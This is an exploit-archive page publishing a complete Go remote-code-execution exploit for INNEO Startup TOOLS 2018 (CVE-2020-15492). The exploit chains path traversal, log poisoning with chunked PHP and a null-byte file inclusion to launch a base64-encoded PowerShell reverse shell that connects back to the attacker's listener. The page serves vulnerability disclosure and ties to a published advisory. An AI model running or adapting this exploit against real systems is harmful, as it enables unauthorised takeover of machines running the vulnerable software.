exploit the possibilities

INNEO Startup TOOLS 2018 M040 13.0.70.3804 Remote Code Execution

INNEO Startup TOOLS 2018 M040 13.0.70.3804 Remote Code Execution
Posted Jul 27, 2020
Authored by Patrick Hener

INNEO Startup TOOLS 2018 M040 version 13.0.70.3804 remote code execution exploit.

tags | exploit, remote, code execution
advisories | CVE-2020-15492
MD5 | 8b79d9723f77c96bd4418392217b9a99

INNEO Startup TOOLS 2018 M040 13.0.70.3804 Remote Code Execution

Change Mirror Download
# Exploit Title: INNEO Startup TOOLS 2018 M040 13.0.70.3804 - Remote Code Execution
# Date: 2020-07-23
# Exploit Author: Patrick Hener, SySS GmbH
# Many credits go to Dr. Benjamin Heß, SySS GmbH for helping with php oddities and the powershell payload
# Advisory: SYSS-2020-028 (https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-028.txt)
# Vendor Homepage: https://www.inneo.co.uk/en/home.html
# Version: Startup TOOLS 2017/2018
# Tested on: Windows 10 x64
# CVE : CVE-2020-15492

/* This exploit was written by Patrick Hener, SySS GmbH
*/

package main

import (
"encoding/base64"
"fmt"
_ "fmt"
"io"
"io/ioutil"
"log"
"net"
"net/http"
"net/url"
"os"
"regexp"
"strconv"
"strings"

"golang.org/x/text/encoding/unicode"
)

type progress struct {
bytes uint64
}

func usage() {
fmt.Printf("Usage: %s lhost[192.168.x.x] lport[4444] url[http://ip:85] installDir[PROGRA~2/stools] \n\n", os.Args[0])
os.Exit(2)
}

func readFile(target string, traversal string, path string) (bool, string) {
success := true
request := fmt.Sprintf("%s%s%s", target, traversal, path)
resp, err := http.Get(request)
if err != nil {
fmt.Println(err)
}
if resp.Status != "200 OK" {
success = false
}

defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println(err)
}

return success, string(body)
}

func triggerFile(target string, traversal string, path string) {
request := fmt.Sprintf("%s%s%s", target, traversal, path)
_, _ = http.Get(request)
}

func poison(target string, traversal string, path string) (bool, string) {
success := true
request := fmt.Sprintf("%s%s%s", target, traversal, path)
resp, err := http.Get(request)
if err != nil {
fmt.Println(err)
os.Exit(2)
}
if resp.Status != "404 Not Found" {
success = false
}

defer resp.Body.Close()

fmt.Printf("[*] Poisoned: %s\n", path)

body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println(err)
}

return success, string(body)
}

func parseHostname(body string) string {
re := regexp.MustCompile("Service hostname:?.*")
hostnameRaw := re.FindAllString(body, -1)
hostnameSplit := strings.Split(hostnameRaw[0], ":")
hostnameTrimmed := strings.TrimSpace(hostnameSplit[1])
hostnameNoNewline := strings.Replace(hostnameTrimmed, "\n", "", -1)

return hostnameNoNewline
}

func customEscape(sequence string) string {
output := url.PathEscape(sequence)
output = strings.Replace(output, "+", "%20", -1)
output = strings.Replace(output, "=", "%3D", -1)

return output
}

func payloadEscape(sequence string) string {
output := url.PathEscape(sequence)
output = strings.Replace(output, "=", "%3D", -1)

return output
}

func transferStreams(con net.Conn) {
c := make(chan progress)

// Read from Reader and write to Writer until EOF
copy := func(r io.ReadCloser, w io.WriteCloser) {
defer func() {
r.Close()
w.Close()
}()
n, err := io.Copy(w, r)
if err != nil {
fmt.Printf("[%s]: ERROR: %s\n", con.RemoteAddr(), err)
}
c <- progress{bytes: uint64(n)}
}

go copy(con, os.Stdout)
go copy(os.Stdin, con)

p := <-c
fmt.Printf("[*] [%s]: Connection has been closed by remote peer, %d bytes has been received\n", con.RemoteAddr(), p.bytes)
p = <-c
fmt.Printf("[*] [%s]: Local peer has been stopped, %d bytes has been sent\n", con.RemoteAddr(), p.bytes)
}

func startServer(addr string) {
ln, err := net.Listen("tcp", addr)
if err != nil {
log.Fatalln(err)
}
fmt.Printf("[+] Now listening on %s\n", addr)
con, err := ln.Accept()
if err != nil {
log.Fatalln(err)
}
fmt.Printf("[+] [%s]: Connection has been opened. Press 'RETURN' once to start. Enjoy your shell, good sir.\n", con.RemoteAddr())
transferStreams(con)
}

func stage1(target string, traversal string, installDir string) string {
fmt.Printf("[*] Attacking target %s with assumed install path %s\n", target, installDir)
fmt.Printf("[*] Trying to read 'sut_server.log' to receive hostname of target at %s%s%s/software/LOG/sut_server.log\n", target, traversal, installDir)
path := fmt.Sprintf("%s/software/LOG/sut_server.log", installDir)
success, response := readFile(target, traversal, path)
if !success {
fmt.Printf("[-] It looks like %s%s%s is not there. Provide install_dir to try via args.\n", target, traversal, installDir)
os.Exit(2)
}
hostname := parseHostname(response)

return hostname
}

func stage2(target string, traversal string, installDir string, payloadFinal string) {
/* Stage 2 - poison log with php payload
Special about that is the length of payload junk has max restriction of about 200 characters
Thus we are splitting up the payload escaping the trash we don't need like
the 'n' is nesessary to escape DRIVE:\ which will be DRIVE:\n then
<?php $cmd=''; $foo= '
n'; $cmd.="part1"; $foo='
n'; $cmd.="part2"; $foo='
....
n'; system(cmd); ?>
*/
fmt.Println("[*] Poisoning Log with payload")
/* Start of the php code */
start := customEscape("<?php $cmd=''; $foo='")
success, _ := poison(target, traversal, start)
if !success {
fmt.Println("Poisoning failed. Exiting")
os.Exit(2)
}

/* Looping through payload */
offset := 0
pre := "n'; $cmd.='"
post := "'; $foo='"

for offset < len(payloadFinal) {
payload := payloadFinal[offset : offset+150-len(pre)-len(post)]
poisonPath := payloadEscape(fmt.Sprintf("%s%s%s", pre, payload, post))
success, _ = poison(target, traversal, poisonPath)
if !success {
fmt.Println("Poisoning failed. Exiting")
os.Exit(2)
}
offset += 150 - len(pre) - len(post)

if len(payloadFinal)-offset <= 150-len(pre)-len(post) {
break
}
}

/* Send last slice of payload to prevent from out of range error */
payload := payloadFinal[offset:len(payloadFinal)]
poisonPath := payloadEscape(fmt.Sprintf("%s%s%s", pre, payload, post))
success, _ = poison(target, traversal, poisonPath)
if !success {
fmt.Println("Poisoning failed. Exiting")
os.Exit(2)
}

/* End of the php code */
end := customEscape("n'; system($cmd); die; ?>")
success, _ = poison(target, traversal, end)
if !success {
fmt.Println("Poisoning failed. Exiting")
os.Exit(2)
}
}

func stage3(target string, traversal string, installDir string, hostname string) {
logFile := fmt.Sprintf("%s%s%s/software/LOG/sut_server_%s.log\\0.php", target, traversal, installDir, hostname)
fmt.Printf("[*] Triggering inclusion of %s\n", logFile)
triggerFile(target, traversal, logFile)
}

func stage4(lhost string, lport int) {
/* Listen for socket connection */
addr := fmt.Sprintf("%s:%d", lhost, lport)
fmt.Printf("[*] Starting reverse listener at %s\n", addr)
startServer(addr)
}

func main() {
if len(os.Args) < 4 {
usage()
}

lhost := os.Args[1]
lport, err := strconv.Atoi(os.Args[2])
if err != nil {
fmt.Println("lport has to be numeric")
os.Exit(2)
}
target := os.Args[3]
var installDir string
if len(os.Args) == 4 {
installDir = "PROGRA~2/stools"
} else {
installDir = os.Args[4]
}

/* Payload definition */
payload := fmt.Sprintf("$client = New-Object System.Net.Sockets.TCPClient('%s',%d);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()", lhost, lport)
/* Convert to base64 UTF-16LE */
encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
payloadEncoded, _ := encoder.String(payload)
payloadEncodedString := base64.StdEncoding.EncodeToString([]byte(payloadEncoded))
/* In webshell we would issue: powershell.exe -exec bypass -EncodedCommand <encoded_payload> */
payloadFinal := fmt.Sprintf("powershell.exe -exec bypass -EncodedCommand %s", payloadEncodedString)

/* Traversal to root - default depth would be 4 */
traversal := "/../../../../../../../../../../"

/* stage 1 - get hostname */
hostname := stage1(target, traversal, installDir)
fmt.Printf("[+] Hostname of target is: %s\n", hostname)
/* stage 2 - poisoning */
stage2(target, traversal, installDir, payloadFinal)
/* stage 3 - trigger */
go stage3(target, traversal, installDir, hostname)
/* stage4 - start listener */
stage4(lhost, lport)
}
Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    12 Files
  • 22
    Oct 22nd
    14 Files
  • 23
    Oct 23rd
    3 Files
  • 24
    Oct 24th
    1 Files
  • 25
    Oct 25th
    33 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close